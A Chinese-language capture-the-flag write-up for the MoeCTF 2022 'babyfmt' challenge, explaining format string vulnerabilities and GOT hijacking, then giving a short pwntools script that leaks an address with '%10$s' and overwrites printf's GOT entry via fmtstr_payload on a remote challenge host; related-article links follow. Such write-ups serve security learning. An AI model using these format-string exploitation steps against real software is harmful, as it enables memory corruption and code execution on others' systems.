[MoeCTF 2022]babyfmt-入土为安的第十九天

简介: [MoeCTF 2022]babyfmt-入土为安的第十九天

入门格式化字符串   GOT劫持

借鉴

http://t.csdnimg.cn/oWxaU

格式化字符串漏洞的基本概念

格式化字符串漏洞通常发生在程序中使用了格式化输出函数(如 printfsprintffprintf 等),但没有正确控制格式化字符串。这种漏洞可以让攻击者通过精心构造的格式化字符串来影响程序的行为,读取或修改内存中的数据,甚至执行任意代码。

漏洞点

  1. 未经验证的格式化字符串输入
  • 描述:如果程序允许用户输入格式化字符串,并将这些输入直接传递给格式化函数(如 printf),攻击者可以利用这些输入来读取或写入程序的内存。
  • 例子printf(user_input);,其中 user_input 是用户提供的字符串。如果 user_input 包含格式说明符,如 %x%s 等,可能会泄露内存信息。
  1. 格式字符串中包含不受控制的格式说明符
  • 描述:格式化字符串中的格式说明符(如 %x%s%n 等)可以读取内存中的数据、打印信息或写入数据。如果格式说明符不受控制,攻击者可以利用这些格式说明符来获取程序内存中的敏感信息或修改内存。
  • 例子printf("User input: %s", user_input);,如果 user_input 包含格式说明符,可能会导致意外行为。
  1. 利用 %n 格式说明符进行内存写入
  • 描述%n 格式说明符允许将已经输出的字符数写入到指定的内存地址。攻击者可以利用这个特性来修改程序内存中的值,从而实现任意代码执行或其他恶意行为。
  • 例子printf("%n", &some_variable);,如果攻击者能控制这个格式说明符,可能会改变 some_variable 的值。
  1. 未验证的用户输入被用于格式化操作
  • 描述:程序接受来自不可信来源的格式化字符串并直接使用,未对输入进行严格验证和清理。
  • 例子fprintf(log_file, user_input);,如果 user_input 包含格式说明符,可能会导致日志文件的内容被恶意篡改。

from pwn import *
elf=ELF('./pwn')
#p=process('./pwn')
p = remote('node5.anna.nssctf.cn',24744)
print_got=elf.got['printf']
p.recvuntil("\n")
p.sendline("%10$s")
baskdoor=int(p.recv(10),16)
payload=fmtstr_payload(11,{print_got:baskdoor})
p.sendline(payload)
p.interactive()

目录
相关文章
|
3月前
|
人工智能
notsequence 入土为安的第七天
notsequence 入土为安的第七天
29 1
|
3月前
|
安全
babystack2.0-入土为安的第十六天
babystack2.0-入土为安的第十六天
37 0
|
3月前
deedeedee 入土为安的第六天
deedeedee 入土为安的第六天
28 0
|
17天前
|
存储 NoSQL 关系型数据库
2024 RedisAnd Mysql基础与进阶操作系列(13)作者——LJS[你个小黑子这都还学不会嘛?你是真爱粉嘛?真是的 ~;以后请别侮辱我家鸽鸽]
Redis之Nosql数据库分类、存储类型、特点;Redis 作用、与其他库的对比、使用场景以及如何部署、安装等具体详解步骤;举例说明、注意点及常见报错问题所对应的解决方法
|
17天前
|
NoSQL 关系型数据库 MySQL
2024 RedisAnd Mysql基础与进阶操作系列(16-5)作者——LJS[你个小黑子这都还学不会嘛?你是真爱粉嘛?真是的 ~;以后请别侮辱我家鸽鸽]
Redis数据类型之ZSet类型及相关命令如:SADD/SMEMBERS/SCARD/SISMEMBER、ZRANGEBYSCORE/ZREMRANGEBYRANK/ZREMRANGEBYSCORE、ZREVRANGE/ZREVRANGEBYSCORE/ZREVRANK等命令具体操作详解步骤;举例说明、注意点及常见报错问题所对应的解决方法
|
17天前
|
存储 NoSQL 关系型数据库
2024 RedisAnd Mysql基础与进阶操作系列(16-4)作者——LJS[你个小黑子这都还学不会嘛?你是真爱粉嘛?真是的 ~;以后请别侮辱我家鸽鸽]
Redis数据类型之Set类型及相关命令如:SADD/SMEMBERS/SCARD/SISMEMBER、SPOP/SREM/SRANDMEMBER/SMOVE、SDIFF/SDIFFSTORE/SINTER/SINTERSTORE 等具体操作详解步骤;举例说明、注意点及常见报错问题所对应的解决方法
|
17天前
|
NoSQL 关系型数据库 MySQL
2024 RedisAnd Mysql基础与进阶操作系列(16-3)作者——LJS[你个小黑子这都还学不会嘛?你是真爱粉嘛?真是的 ~;以后请别侮辱我家鸽鸽]
Redis数据类型之List类型语法格式说明表及LPUSH/LPUSHX/LRANGE、LPOP/LLEN、LREM/LSET/LINDEX/LTRIM、LINSERT RPUSH/RPUSHX/RPOP/RPOPLPUSH等具体操作详解步骤;举例说明、注意点及常见报错问题所对应的解决方法
|
17天前
|
NoSQL 关系型数据库 Redis
2024 RedisAnd Mysql基础与进阶操作系列(18)作者——LJS[你个小黑子这都还学不会嘛?你是真爱粉嘛?真是的 ~;以后请别侮辱我家鸽鸽]
Redis 如何高级应用之密码防护、数据持久化、基于文件追加方式持久化、主从同步、消息订阅类型与之对应的命令、事务从开始到执行会经历以下三个阶段、多数据库等保姆式具体操作详解步骤;举例说明、注意点及常见报错问题所对应的解决方法
|
3月前
signin-入土为安的第十九天
signin-入土为安的第十九天
46 0
|
3月前
|
Python
[MoeCTF 2022]EquationPy-入土为安的第十九天
[MoeCTF 2022]EquationPy-入土为安的第十九天
42 0